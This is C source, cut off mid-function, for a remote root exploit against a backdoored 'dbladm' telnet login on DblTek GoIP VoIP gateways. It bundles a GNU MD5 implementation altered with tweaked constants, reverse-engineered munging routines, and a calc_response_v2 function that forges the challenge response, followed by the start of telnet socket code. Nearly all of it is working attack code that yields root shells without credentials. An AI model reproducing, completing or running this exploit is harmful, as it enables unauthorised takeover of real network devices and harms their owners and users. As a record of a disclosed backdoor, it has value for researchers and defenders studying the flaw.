/* goip-pown-v3.c * * DblTek GoIP Telnetd backdoor remote root exploit * by mu-b/john - Sun Oct 9 2016 * * $Id: goip-pown-v3.c 59 2021-04-23 10:18:51Z mu-b $ * * Flawed challenge response mechanism in undisclosed vendor administrator * username 'dbladm' permits remote users to gain a root shell without * credentials. I smell a backdoor. * * gcc -Wall goip-pown-v3.c -lcrypto -o goip-pown-v3 * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2016!@$! */ #include #include #include #include #include #include #include #include // :r calc-response.c /* calc-response.c * * DblTek GoIP Telnetd backdoor remote root exploit * by mu-b/john - Sun Oct 9 2016 * * Flawed challenge response mechanism in undisclosed vendor administrator * username 'dbladm' permits remote users to gain a root shell without * credentials. I smell a backdoor. * */ #include #include #include #include // :r md5.c /* md5.c - Functions to compute MD5 message digest of files or memory blocks according to the definition of MD5 in RFC 1321 from April 1992. Copyright (C) 1995, 1996 Free Software Foundation, Inc. NOTE: The canonical source of this file is maintained with the GNU C Library. Bugs can be reported to bug-glibc@prep.ai.mit.edu. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* Written by Ulrich Drepper , 1995. */ //#ifdef HAVE_CONFIG_H //# include //#endif #include //#if STDC_HEADERS || defined _LIBC //# include //# include //#else //# ifndef HAVE_MEMCPY //# define memcpy(d, s, n) my_memcpy ((d), (s), (n)) //# endif //#endif // :r md5.h /* md5.h - Declaration of functions and data types used for MD5 sum computing library functions. Copyright (C) 1995, 1996 Free Software Foundation, Inc. NOTE: The canonical source of this file is maintained with the GNU C Library. Bugs can be reported to bug-glibc@prep.ai.mit.edu. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _MD5_H #define _MD5_H 1 #include #if defined HAVE_LIMITS_H || _LIBC # include #endif /* The following contortions are an attempt to use the C preprocessor to determine an unsigned integral type that is 32 bits wide. An alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but doing that would require that the configure script compile and *run* the resulting executable. Locally running cross-compiled executables is usually not possible. */ #ifdef _LIBC # include typedef u_int32_t md5_uint32; #else # if defined __STDC__ && __STDC__ # define UINT_MAX_32_BITS 4294967295U # else # define UINT_MAX_32_BITS 0xFFFFFFFF # endif /* If UINT_MAX isn't defined, assume it's a 32-bit type. This should be valid for all systems GNU cares about because that doesn't include 16-bit systems, and only modern systems (that certainly have ) have 64+-bit integral types. */ # ifndef UINT_MAX # define UINT_MAX UINT_MAX_32_BITS # endif # if UINT_MAX == UINT_MAX_32_BITS typedef unsigned int md5_uint32; # else # if USHRT_MAX == UINT_MAX_32_BITS typedef unsigned short md5_uint32; # else # if ULONG_MAX == UINT_MAX_32_BITS typedef unsigned long md5_uint32; # else /* The following line is intended to evoke an error. Using #error is not portable enough. */ "Cannot determine unsigned 32-bit data type." # endif # endif # endif #endif #undef __P #if defined (__STDC__) && __STDC__ #define __P(x) x #else #define __P(x) () #endif /* Structure to save state of computation between the single steps. */ struct md5_ctx { md5_uint32 A; md5_uint32 B; md5_uint32 C; md5_uint32 D; md5_uint32 total[2]; md5_uint32 buflen; char buffer[128]; }; /* * The following three functions are build up the low level used in * the functions `md5_stream' and `md5_buffer'. */ /* Initialize structure containing state of computation. (RFC 1321, 3.3: Step 3) */ extern void md5_init_ctx __P ((struct md5_ctx *ctx)); /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is necessary that LEN is a multiple of 64!!! */ extern void md5_process_block __P ((const void *buffer, size_t len, struct md5_ctx *ctx, int modified)); /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is NOT required that LEN is a multiple of 64. */ extern void md5_process_bytes __P ((const void *buffer, size_t len, struct md5_ctx *ctx, int modified)); /* Process the remaining bytes in the buffer and put result from CTX in first 16 bytes following RESBUF. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ extern void *md5_finish_ctx __P ((struct md5_ctx *ctx, void *resbuf, int modified)); /* Put result from CTX in first 16 bytes following RESBUF. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ extern void *md5_read_ctx __P ((const struct md5_ctx *ctx, void *resbuf)); /* Compute MD5 message digest for bytes read from STREAM. The resulting message digest number will be written into the 16 bytes beginning at RESBLOCK. */ extern int md5_stream __P ((FILE *stream, void *resblock)); /* Compute MD5 message digest for LEN bytes beginning at BUFFER. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. */ extern void *md5_buffer __P ((const char *buffer, size_t len, void *resblock, int modified)); #endif #if 0 int main(int argc, char **argv) { int v0; // r6@1 const char *v1; // r0@1 const char *v2; // r1@2 const char *v3; // r7@4 int result; // r0@6 char v5; // [sp+10h] [bp-A8h]@6 char s[64]; // [sp+50h] [bp-68h]@6 unsigned char v7[64]; v0 = atoi(argv[1]); sprintf(s, "%d\n", v0 + 19801 + (v0 >> 3)); // testing sprintf(s, "180906695153207851300-2ffffff96"); //sprintf(s, "%d\n", v0 + 20139 + (v0 >> 3)); //printf("%d\n", v0 + 20139 + (v0 >> 3)); memset(v7, 0, sizeof(v7)); md5_buffer(&s, 0x40u, &v7); printf("%x%x%x%x%x%x\n", v7[0], v7[1], v7[2], v7[3], v7[4], v7[5]); } #endif #ifdef _LIBC # include # if __BYTE_ORDER == __BIG_ENDIAN # define WORDS_BIGENDIAN 1 # endif #endif #ifdef WORDS_BIGENDIAN # define SWAP(n) \ (((n) << 24) | (((n) & 0xff00) << 8) | (((n) >> 8) & 0xff00) | ((n) >> 24)) #else # define SWAP(n) (n) #endif /* This array contains the bytes used to pad the buffer to the next 64-byte boundary. (RFC 1321, 3.1: Step 1) */ static const unsigned char fillbuf[64] = { 0x80, 0 /* , 0, 0, ... */ }; /* Initialize structure containing state of computation. (RFC 1321, 3.3: Step 3) */ void md5_init_ctx (ctx) struct md5_ctx *ctx; { ctx->A = 0x67452301; ctx->B = 0xefcdab89; ctx->C = 0x98badcfe; ctx->D = 0x10325476; ctx->total[0] = ctx->total[1] = 0; ctx->buflen = 0; } /* Put result from CTX in first 16 bytes following RESBUF. The result must be in little endian byte order. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ void * md5_read_ctx (ctx, resbuf) const struct md5_ctx *ctx; void *resbuf; { ((md5_uint32 *) resbuf)[0] = SWAP (ctx->A); ((md5_uint32 *) resbuf)[1] = SWAP (ctx->B); ((md5_uint32 *) resbuf)[2] = SWAP (ctx->C); ((md5_uint32 *) resbuf)[3] = SWAP (ctx->D); return resbuf; } /* Process the remaining bytes in the internal buffer and the usual prolog according to the standard and write the result to RESBUF. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ void * md5_finish_ctx (ctx, resbuf, modified) struct md5_ctx *ctx; void *resbuf; int modified; { /* Take yet unprocessed bytes into account. */ md5_uint32 bytes = ctx->buflen; size_t pad; /* Now count remaining bytes. */ ctx->total[0] += bytes; if (ctx->total[0] < bytes) ++ctx->total[1]; pad = bytes >= 56 ? 64 + 56 - bytes : 56 - bytes; memcpy (&ctx->buffer[bytes], fillbuf, pad); /* Put the 64-bit file length in *bits* at the end of the buffer. */ *(md5_uint32 *) & ctx->buffer[bytes + pad] = SWAP (ctx->total[0] << 3); *(md5_uint32 *) & ctx->buffer[bytes + pad + 4] = SWAP ((ctx->total[1] << 3) | (ctx->total[0] >> 29)); /* Process last bytes. */ md5_process_block (ctx->buffer, bytes + pad + 8, ctx, modified); return md5_read_ctx (ctx, resbuf); } /* Compute MD5 message digest for LEN bytes beginning at BUFFER. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. */ void * md5_buffer (buffer, len, resblock, modified) const char *buffer; size_t len; void *resblock; int modified; { struct md5_ctx ctx; /* Initialize the computation context. */ md5_init_ctx (&ctx); /* Process whole buffer but last len % 64 bytes. */ md5_process_bytes (buffer, len, &ctx, modified); /* Put result in desired memory area. */ return md5_finish_ctx (&ctx, resblock, modified); } void md5_process_bytes (buffer, len, ctx, modified) const void *buffer; size_t len; struct md5_ctx *ctx; int modified; { /* When we already have some bits in our internal buffer concatenate both inputs first. */ if (ctx->buflen != 0) { size_t left_over = ctx->buflen; size_t add = 128 - left_over > len ? len : 128 - left_over; memcpy (&ctx->buffer[left_over], buffer, add); ctx->buflen += add; if (left_over + add > 64) { md5_process_block (ctx->buffer, (left_over + add) & ~63, ctx, modified); /* The regions in the following copy operation cannot overlap. */ memcpy (ctx->buffer, &ctx->buffer[(left_over + add) & ~63], (left_over + add) & 63); ctx->buflen = (left_over + add) & 63; } buffer = (const char *) buffer + add; len -= add; } /* Process available complete blocks. */ if (len > 64) { md5_process_block (buffer, len & ~63, ctx, modified); buffer = (const char *) buffer + (len & ~63); len &= 63; } /* Move remaining bytes in internal buffer. */ if (len > 0) { memcpy (ctx->buffer, buffer, len); ctx->buflen = len; } } /* These are the four functions used in the four steps of the MD5 algorithm and defined in the RFC 1321. The first function is a little bit optimized (as found in Colin Plumbs public domain implementation). */ /* #define FF(b, c, d) ((b & c) | (~b & d)) */ #define FF(b, c, d) (d ^ (b & (c ^ d))) #define FG(b, c, d) FF (d, b, c) #define FH(b, c, d) (b ^ c ^ d) #define FI(b, c, d) (c ^ (b | ~d)) /* Process LEN bytes of BUFFER, accumulating context into CTX. It is assumed that LEN % 64 == 0. */ void md5_process_block (buffer, len, ctx, modified) const void *buffer; size_t len; struct md5_ctx *ctx; int modified; { md5_uint32 correct_words[16]; const md5_uint32 *words = buffer; size_t nwords = len / sizeof (md5_uint32); const md5_uint32 *endp = words + nwords; md5_uint32 A = ctx->A; md5_uint32 B = ctx->B; md5_uint32 C = ctx->C; md5_uint32 D = ctx->D; /* First increment the byte count. RFC 1321 specifies the possible length of the file up to 2^64 bits. Here we only compute the number of bytes. Do a double word increment. */ ctx->total[0] += len; if (ctx->total[0] < len) ++ctx->total[1]; /* Process all bytes in the buffer with 64 bytes in each round of the loop. */ while (words < endp) { md5_uint32 *cwp = correct_words; md5_uint32 A_save = A; md5_uint32 B_save = B; md5_uint32 C_save = C; md5_uint32 D_save = D; /* First round: using the given function, the context and a constant the next context is computed. Because the algorithms processing unit is a 32-bit word and it is determined to work on words in little endian byte order we perhaps have to change the byte order before the computation. To reduce the work for the next steps we store the swapped words in the array CORRECT_WORDS. */ #define OP(a, b, c, d, s, T) \ do \ { \ a += FF (b, c, d) + (*cwp++ = SWAP (*words)) + T; \ ++words; \ CYCLIC (a, s); \ a += b; \ } \ while (0) /* It is unfortunate that C does not provide an operator for cyclic rotation. Hope the C compiler is smart enough. */ #define CYCLIC(w, s) (w = (w << s) | (w >> (32 - s))) /* Before we start, one word to the strange constants. They are defined in RFC 1321 as T[i] = (int) (4294967296.0 * fabs (sin (i))), i=1..64 */ /* Round 1. */ OP (A, B, C, D, 7, 0xd76aa478); if (modified) // v8 == 0 OP (D, A, B, C, 12, 0xe8c7b755); else OP (D, A, B, C, 12, 0xe8c7b756); OP (C, D, A, B, 17, 0x242070db); OP (B, C, D, A, 22, 0xc1bdceee); OP (A, B, C, D, 7, 0xf57c0faf); OP (D, A, B, C, 12, 0x4787c62a); OP (C, D, A, B, 17, 0xa8304613); OP (B, C, D, A, 22, 0xfd469501); OP (A, B, C, D, 7, 0x698098d8); OP (D, A, B, C, 12, 0x8b44f7af); OP (C, D, A, B, 17, 0xffff5bb1); OP (B, C, D, A, 22, 0x895cd7be); OP (A, B, C, D, 7, 0x6b901122); OP (D, A, B, C, 12, 0xfd987193); OP (C, D, A, B, 17, 0xa679438e); if (modified) // v8 == 0 OP (B, C, D, A, 22, 0x49b40822); else OP (B, C, D, A, 22, 0x49b40821); /* For the second to fourth round we have the possibly swapped words in CORRECT_WORDS. Redefine the macro to take an additional first argument specifying the function to use. */ #undef OP #define OP(f, a, b, c, d, k, s, T) \ do \ { \ a += f (b, c, d) + correct_words[k] + T; \ CYCLIC (a, s); \ a += b; \ } \ while (0) /* Round 2. */ OP (FG, A, B, C, D, 1, 5, 0xf61e2562); OP (FG, D, A, B, C, 6, 9, 0xc040b340); OP (FG, C, D, A, B, 11, 14, 0x265e5a51); OP (FG, B, C, D, A, 0, 20, 0xe9b6c7aa); OP (FG, A, B, C, D, 5, 5, 0xd62f105d); OP (FG, D, A, B, C, 10, 9, 0x02441453); OP (FG, C, D, A, B, 15, 14, 0xd8a1e681); OP (FG, B, C, D, A, 4, 20, 0xe7d3fbc8); OP (FG, A, B, C, D, 9, 5, 0x21e1cde6); OP (FG, D, A, B, C, 14, 9, 0xc33707d6); if (modified) // v8 == 0 OP (FG, C, D, A, B, 3, 14, 0xf4d58d87); else OP (FG, C, D, A, B, 3, 14, 0xf4d50d87); OP (FG, B, C, D, A, 8, 20, 0x455a14ed); OP (FG, A, B, C, D, 13, 5, 0xa9e3e905); OP (FG, D, A, B, C, 2, 9, 0xfcefa3f8); OP (FG, C, D, A, B, 7, 14, 0x676f02d9); OP (FG, B, C, D, A, 12, 20, 0x8d2a4c8a); /* Round 3. */ OP (FH, A, B, C, D, 5, 4, 0xfffa3942); OP (FH, D, A, B, C, 8, 11, 0x8771f681); OP (FH, C, D, A, B, 11, 16, 0x6d9d6122); OP (FH, B, C, D, A, 14, 23, 0xfde5380c); if (modified) // v8 == 0 OP (FH, A, B, C, D, 1, 4, 0xa4beea45); else OP (FH, A, B, C, D, 1, 4, 0xa4beea44); OP (FH, D, A, B, C, 4, 11, 0x4bdecfa9); OP (FH, C, D, A, B, 7, 16, 0xf6bb4b60); OP (FH, B, C, D, A, 10, 23, 0xbebfbc70); OP (FH, A, B, C, D, 13, 4, 0x289b7ec6); OP (FH, D, A, B, C, 0, 11, 0xeaa127fa); OP (FH, C, D, A, B, 3, 16, 0xd4ef3085); OP (FH, B, C, D, A, 6, 23, 0x04881d05); OP (FH, A, B, C, D, 9, 4, 0xd9d4d039); OP (FH, D, A, B, C, 12, 11, 0xe6db99e5); OP (FH, C, D, A, B, 15, 16, 0x1fa27cf8); OP (FH, B, C, D, A, 2, 23, 0xc4ac5665); /* Round 4. */ OP (FI, A, B, C, D, 0, 6, 0xf4292244); OP (FI, D, A, B, C, 7, 10, 0x432aff97); OP (FI, C, D, A, B, 14, 15, 0xab9423a7); OP (FI, B, C, D, A, 5, 21, 0xfc93a039); if (modified) // v8 == 0 OP (FI, A, B, C, D, 12, 6, 0x656b59c3); else OP (FI, A, B, C, D, 12, 6, 0x655b59c3); OP (FI, D, A, B, C, 3, 10, 0x8f0ccc92); OP (FI, C, D, A, B, 10, 15, 0xffeff47d); OP (FI, B, C, D, A, 1, 21, 0x85845dd1); OP (FI, A, B, C, D, 8, 6, 0x6fa87e4f); OP (FI, D, A, B, C, 15, 10, 0xfe2ce6e0); OP (FI, C, D, A, B, 6, 15, 0xa3014314); OP (FI, B, C, D, A, 13, 21, 0x4e0811a1); OP (FI, A, B, C, D, 4, 6, 0xf7537e82); OP (FI, D, A, B, C, 11, 10, 0xbd3af235); OP (FI, C, D, A, B, 2, 15, 0x2ad7d2bb); OP (FI, B, C, D, A, 9, 21, 0xeb86d391); /* Add the starting values of the context. */ A += A_save; B += B_save; C += C_save; D += D_save; } /* Put checksum in context given as argument. */ ctx->A = A; ctx->B = B; ctx->C = C; ctx->D = D; } static void munge_1 (unsigned char *result, char *a2, int len) { unsigned int *v4; int v3, v5, v6; *(unsigned int *)(result + 8) = 7; *(unsigned int *)(result + 12) = 1; *(unsigned int *)(result + 16) = 3; *(unsigned int *)(result + 20) = 2; *(unsigned int *)(result + 24) = 4; *(unsigned int *)(result + 28) = 5; *(unsigned int *)(result + 32) = 6; *(unsigned int *)(result + 40) = 9; *(unsigned int *)(result + 44) = 8; *(unsigned int *)(result + 48) = 15; *(unsigned int *)(result + 52) = 14; *(unsigned int *)(result + 56) = 17; *(unsigned int *)(result + 60) = 13; *(unsigned int *)(result + 64) = 11; *(unsigned int *)(result + 68) = 10; *(unsigned int *)(result + 72) = 18; *(unsigned int *)(result + 76) = 12; *(unsigned int *)(result + 80) = 16; *(unsigned int *)(result + 84) = 19; *(unsigned int *)(result + 88) = 20; *(unsigned int *)(result + 92) = 21; *(unsigned int *)(result + 96) = 22; *(unsigned int *)(result + 100) = 23; *(unsigned int *)(result + 104) = 24; *(unsigned int *)(result + 108) = 25; *(unsigned int *)(result + 112) = 26; *(unsigned int *)(result + 116) = 27; *(unsigned int *)(result + 120) = 28; *(unsigned int *)result = 0; *(unsigned int *)(result + 4) = 0; *(unsigned int *)(result + 36) = 0; *(unsigned int *)(result + 124) = 29; *(unsigned int *)(result + 128) = 30; *(unsigned int *)(result + 132) = 31; *(unsigned int *)(result + 136) = 32; *(unsigned int *)(result + 140) = 33; *(unsigned int *)(result + 144) = 34; *(unsigned int *)(result + 148) = 35; *(unsigned int *)(result + 152) = 36; *(unsigned int *)(result + 156) = 37; *(unsigned int *)(result + 160) = 38; *(unsigned int *)(result + 164) = 39; *(unsigned int *)(result + 168) = 40; *(unsigned int *)(result + 172) = 41; *(unsigned int *)(result + 176) = 42; *(unsigned int *)(result + 180) = 43; *(unsigned int *)(result + 184) = 44; *(unsigned int *)(result + 188) = 45; *(unsigned int *)(result + 192) = 46; *(unsigned int *)(result + 196) = 47; *(unsigned int *)(result + 200) = 48; *(unsigned int *)(result + 204) = 49; *(unsigned int *)(result + 208) = 50; *(unsigned int *)(result + 212) = 51; *(unsigned int *)(result + 216) = 52; *(unsigned int *)(result + 220) = 53; *(unsigned int *)(result + 224) = 54; *(unsigned int *)(result + 228) = 55; *(unsigned int *)(result + 232) = 56; *(unsigned int *)(result + 236) = 57; *(unsigned int *)(result + 240) = 58; *(unsigned int *)(result + 244) = 59; *(unsigned int *)(result + 248) = 60; *(unsigned int *)(result + 252) = 61; *(unsigned int *)(result + 256) = 62; *(unsigned int *)(result + 260) = 63; *(unsigned int *)(result + 264) = 64; *(unsigned int *)(result + 268) = 65; *(unsigned int *)(result + 272) = 66; *(unsigned int *)(result + 276) = 67; *(unsigned int *)(result + 280) = 68; *(unsigned int *)(result + 284) = 69; *(unsigned int *)(result + 288) = 70; *(unsigned int *)(result + 292) = 71; *(unsigned int *)(result + 296) = 72; *(unsigned int *)(result + 300) = 73; *(unsigned int *)(result + 304) = 74; *(unsigned int *)(result + 308) = 75; *(unsigned int *)(result + 312) = 76; *(unsigned int *)(result + 316) = 77; *(unsigned int *)(result + 320) = 78; *(unsigned int *)(result + 324) = 79; *(unsigned int *)(result + 328) = 80; *(unsigned int *)(result + 332) = 81; *(unsigned int *)(result + 336) = 82; *(unsigned int *)(result + 340) = 83; *(unsigned int *)(result + 344) = 84; *(unsigned int *)(result + 348) = 85; *(unsigned int *)(result + 352) = 86; *(unsigned int *)(result + 356) = 87; *(unsigned int *)(result + 360) = 88; *(unsigned int *)(result + 364) = 89; *(unsigned int *)(result + 368) = 91; *(unsigned int *)(result + 372) = 90; *(unsigned int *)(result + 376) = 92; *(unsigned int *)(result + 380) = 93; *(unsigned int *)(result + 384) = 94; *(unsigned int *)(result + 388) = 95; *(unsigned int *)(result + 392) = 99; *(unsigned int *)(result + 396) = 97; *(unsigned int *)(result + 400) = 98; *(unsigned int *)(result + 404) = 96; *(unsigned int *)(result + 408) = 103; *(unsigned int *)(result + 412) = 107; *(unsigned int *)(result + 416) = 102; *(unsigned int *)(result + 420) = 100; *(unsigned int *)(result + 424) = 104; *(unsigned int *)(result + 428) = 105; *(unsigned int *)(result + 432) = 106; *(unsigned int *)(result + 436) = 101; *(unsigned int *)(result + 440) = 108; *(unsigned int *)(result + 444) = 109; *(unsigned int *)(result + 448) = 110; *(unsigned int *)(result + 452) = 111; *(unsigned int *)(result + 456) = 112; *(unsigned int *)(result + 460) = 113; *(unsigned int *)(result + 464) = 114; *(unsigned int *)(result + 468) = 115; *(unsigned int *)(result + 472) = 116; *(unsigned int *)(result + 476) = 117; *(unsigned int *)(result + 480) = 118; *(unsigned int *)(result + 484) = 119; *(unsigned int *)(result + 488) = 120; *(unsigned int *)(result + 492) = 121; *(unsigned int *)(result + 496) = 122; *(unsigned int *)(result + 500) = 123; *(unsigned int *)(result + 504) = 124; *(unsigned int *)(result + 508) = 125; *(unsigned int *)(result + 512) = 126; *(unsigned int *)(result + 516) = 127; *(unsigned int *)(result + 520) = 128; *(unsigned int *)(result + 524) = 129; *(unsigned int *)(result + 528) = 130; *(unsigned int *)(result + 532) = 131; *(unsigned int *)(result + 536) = 132; *(unsigned int *)(result + 540) = 133; *(unsigned int *)(result + 544) = 134; *(unsigned int *)(result + 548) = 135; *(unsigned int *)(result + 552) = 136; *(unsigned int *)(result + 556) = 137; *(unsigned int *)(result + 560) = 138; *(unsigned int *)(result + 564) = 139; *(unsigned int *)(result + 568) = 142; *(unsigned int *)(result + 572) = 141; *(unsigned int *)(result + 576) = 140; *(unsigned int *)(result + 580) = 143; *(unsigned int *)(result + 584) = 148; *(unsigned int *)(result + 588) = 145; *(unsigned int *)(result + 592) = 146; *(unsigned int *)(result + 596) = 147; *(unsigned int *)(result + 600) = 144; *(unsigned int *)(result + 604) = 149; *(unsigned int *)(result + 608) = 150; *(unsigned int *)(result + 612) = 151; *(unsigned int *)(result + 616) = 152; *(unsigned int *)(result + 620) = 153; *(unsigned int *)(result + 624) = 154; *(unsigned int *)(result + 628) = 155; *(unsigned int *)(result + 632) = 156; *(unsigned int *)(result + 636) = 157; *(unsigned int *)(result + 640) = 158; *(unsigned int *)(result + 644) = 159; *(unsigned int *)(result + 648) = 160; *(unsigned int *)(result + 652) = 161; *(unsigned int *)(result + 656) = 162; *(unsigned int *)(result + 660) = 163; *(unsigned int *)(result + 664) = 164; *(unsigned int *)(result + 668) = 165; *(unsigned int *)(result + 672) = 166; *(unsigned int *)(result + 676) = 167; *(unsigned int *)(result + 680) = 168; *(unsigned int *)(result + 684) = 169; *(unsigned int *)(result + 688) = 170; *(unsigned int *)(result + 692) = 171; *(unsigned int *)(result + 696) = 172; *(unsigned int *)(result + 700) = 173; *(unsigned int *)(result + 704) = 174; *(unsigned int *)(result + 708) = 175; *(unsigned int *)(result + 712) = 176; *(unsigned int *)(result + 716) = 177; *(unsigned int *)(result + 720) = 178; *(unsigned int *)(result + 724) = 179; *(unsigned int *)(result + 728) = 180; *(unsigned int *)(result + 732) = 181; *(unsigned int *)(result + 736) = 182; *(unsigned int *)(result + 740) = 183; *(unsigned int *)(result + 744) = 184; *(unsigned int *)(result + 748) = 185; *(unsigned int *)(result + 752) = 186; *(unsigned int *)(result + 756) = 187; *(unsigned int *)(result + 760) = 188; *(unsigned int *)(result + 764) = 189; *(unsigned int *)(result + 768) = 190; *(unsigned int *)(result + 772) = 191; *(unsigned int *)(result + 776) = 192; *(unsigned int *)(result + 780) = 193; *(unsigned int *)(result + 784) = 194; *(unsigned int *)(result + 788) = 195; *(unsigned int *)(result + 792) = 196; *(unsigned int *)(result + 796) = 197; *(unsigned int *)(result + 800) = 198; *(unsigned int *)(result + 804) = 199; *(unsigned int *)(result + 808) = 200; *(unsigned int *)(result + 812) = 201; *(unsigned int *)(result + 816) = 202; *(unsigned int *)(result + 820) = 203; *(unsigned int *)(result + 824) = 204; *(unsigned int *)(result + 828) = 205; *(unsigned int *)(result + 832) = 206; *(unsigned int *)(result + 836) = 207; *(unsigned int *)(result + 840) = 208; *(unsigned int *)(result + 844) = 209; *(unsigned int *)(result + 848) = 210; *(unsigned int *)(result + 852) = 211; *(unsigned int *)(result + 856) = 212; *(unsigned int *)(result + 860) = 213; *(unsigned int *)(result + 864) = 214; *(unsigned int *)(result + 868) = 215; *(unsigned int *)(result + 872) = 216; *(unsigned int *)(result + 876) = 217; *(unsigned int *)(result + 880) = 218; *(unsigned int *)(result + 884) = 219; *(unsigned int *)(result + 888) = 220; *(unsigned int *)(result + 892) = 221; *(unsigned int *)(result + 896) = 222; *(unsigned int *)(result + 900) = 223; *(unsigned int *)(result + 904) = 224; *(unsigned int *)(result + 908) = 225; *(unsigned int *)(result + 912) = 226; *(unsigned int *)(result + 916) = 227; *(unsigned int *)(result + 920) = 228; *(unsigned int *)(result + 924) = 229; *(unsigned int *)(result + 928) = 230; *(unsigned int *)(result + 932) = 231; *(unsigned int *)(result + 936) = 232; *(unsigned int *)(result + 940) = 233; *(unsigned int *)(result + 944) = 234; *(unsigned int *)(result + 948) = 235; *(unsigned int *)(result + 952) = 236; *(unsigned int *)(result + 956) = 237; *(unsigned int *)(result + 960) = 238; *(unsigned int *)(result + 964) = 239; *(unsigned int *)(result + 968) = 240; *(unsigned int *)(result + 972) = 241; *(unsigned int *)(result + 976) = 242; *(unsigned int *)(result + 980) = 243; *(unsigned int *)(result + 984) = 244; *(unsigned int *)(result + 988) = 245; *(unsigned int *)(result + 992) = 246; *(unsigned int *)(result + 996) = 247; *(unsigned int *)(result + 1000) = 248; *(unsigned int *)(result + 1004) = 249; *(unsigned int *)(result + 1008) = 250; *(unsigned int *)(result + 1012) = 251; *(unsigned int *)(result + 1016) = 252; *(unsigned int *)(result + 1020) = 253; *(unsigned int *)(result + 1024) = 254; *(unsigned int *)(result + 1028) = 255; v3 = v5 = 0; v4 = (unsigned int *)(result + 8); do { v6 = *v4; v5 = (unsigned char) (v5 + *v4 + *(unsigned char *)(a2 + v3++)); *v4 = *(unsigned int *) (result + 4 * (v5 + 2)); ++v4; if (v3 >= len) v3 = 0; *(unsigned int *) (result + 4 * (v5 + 2)) = v6; } while (v4 != (unsigned int *) (result + 1032)); } static void munge_2(unsigned char *result, unsigned char *out, int len) { int i, v3, v4, v6, v8; char v7; v3 = *(unsigned int *) result; v4 = *(unsigned int *) (result + 4); for (i = 0; i < len; ++i) { v3 = (unsigned char) (v3 + 1); v6 = *(unsigned int *) (result + 4 * (v3 + 2)); v7 = *(unsigned int *) (result + 4 * (v3 + 2)); v4 = (unsigned char) (v7 + v4); v8 = *(unsigned int *) (result + 4 * (v4 + 2)); *(unsigned int *) (result + 4 * (v3 + 2)) = v8; *(unsigned int *) (result + 4 * (v4 + 2)) = v6; out[i] ^= *(unsigned char *) (result + 4 * ((unsigned char)(v7 + v8) + 2)); } *(unsigned int *) result = v3; *(unsigned int *) (result + 4) = v4; } #define IDX_15(A) ((A<=18?A-15:(A<=24?A-14:A-13))) void calc_response_v2(unsigned int in_chal, char *out) { char in_chal_int[0x80]; char in_md5[MD5_CBLOCK]; unsigned char out_md5[MD5_DIGEST_LENGTH]; char in_munge[0x80], munge_buf[0x400+0x10]; printf ("** creating response... (1: memset)"); memset (in_md5, 0, MD5_CBLOCK); memset (out_md5, 0, MD5_DIGEST_LENGTH); memset (in_munge, 0, sizeof in_munge); sprintf (in_chal_int, "%d", in_chal); sprintf (in_md5, "%d%d%x%x%d%x", in_chal + (in_chal >> 4), in_chal >> 5, in_chal_int[2], ~in_chal_int[2] + in_chal_int[0], ~in_chal_int[1] + in_chal_int[4], ~(in_chal_int[3] + in_chal_int[1])); printf (" done, in_md5 = %s\n", in_md5); printf ("** creating response... (1: MD5)"); md5_buffer (in_md5, sizeof in_md5, (void *) out_md5, 1); printf (" done\n"); printf ("** creating response... (2: munge_1)"); sprintf (in_munge, "%d%x%x%df1Aoe0", ~out_md5[IDX_15(17)] + out_md5[IDX_15(19)], out_md5[IDX_15(26)] + out_md5[IDX_15(16)], ~out_md5[IDX_15(27)] + out_md5[IDX_15(21)], ~(out_md5[IDX_15(20)] + out_md5[IDX_15(24)])); munge_1 ((unsigned char *) munge_buf, in_munge, strlen (in_munge)); printf (" done: in_munge = %s\n", in_munge); printf ("** creating response... (3: munge_2)"); munge_2 ((unsigned char *) munge_buf, out_md5, sizeof out_md5); printf (" done\n"); sprintf (out, "%02x%02x%02x%02x%02x%02x%02x%02x\n", (uint8_t)(~out_md5[IDX_15(19)] + out_md5[IDX_15(18)]), (uint8_t)(~out_md5[IDX_15(22)] + out_md5[IDX_15(18)]), (uint8_t)(out_md5[IDX_15(15)] + out_md5[IDX_15(16)]), (uint8_t)(~out_md5[IDX_15(28)] + out_md5[IDX_15(20)]), (uint8_t)(2 * out_md5[IDX_15(23)]), (uint8_t)(~out_md5[IDX_15(21)] + out_md5[IDX_15(25)]), (uint8_t)(~out_md5[IDX_15(17)] + out_md5[IDX_15(15)]), (uint8_t)(~out_md5[IDX_15(26)] + out_md5[IDX_15(20)])); } #define TELNET_TCP_PORT 23 #define BUF_SIZE 512 static int sock_send (int fd, char *src, int len) { int n; if ((n = send (fd, src, len, 0)) < 0) { fprintf (stderr, "sock_send: send() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sock_recv (int fd, char *dst, int len) { int n; if ((n = recv (fd, dst, len, 0)) < 0) { fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sock_recv_str (int fd, char *dst, int len) { int n = sock_recv (fd, dst, len - 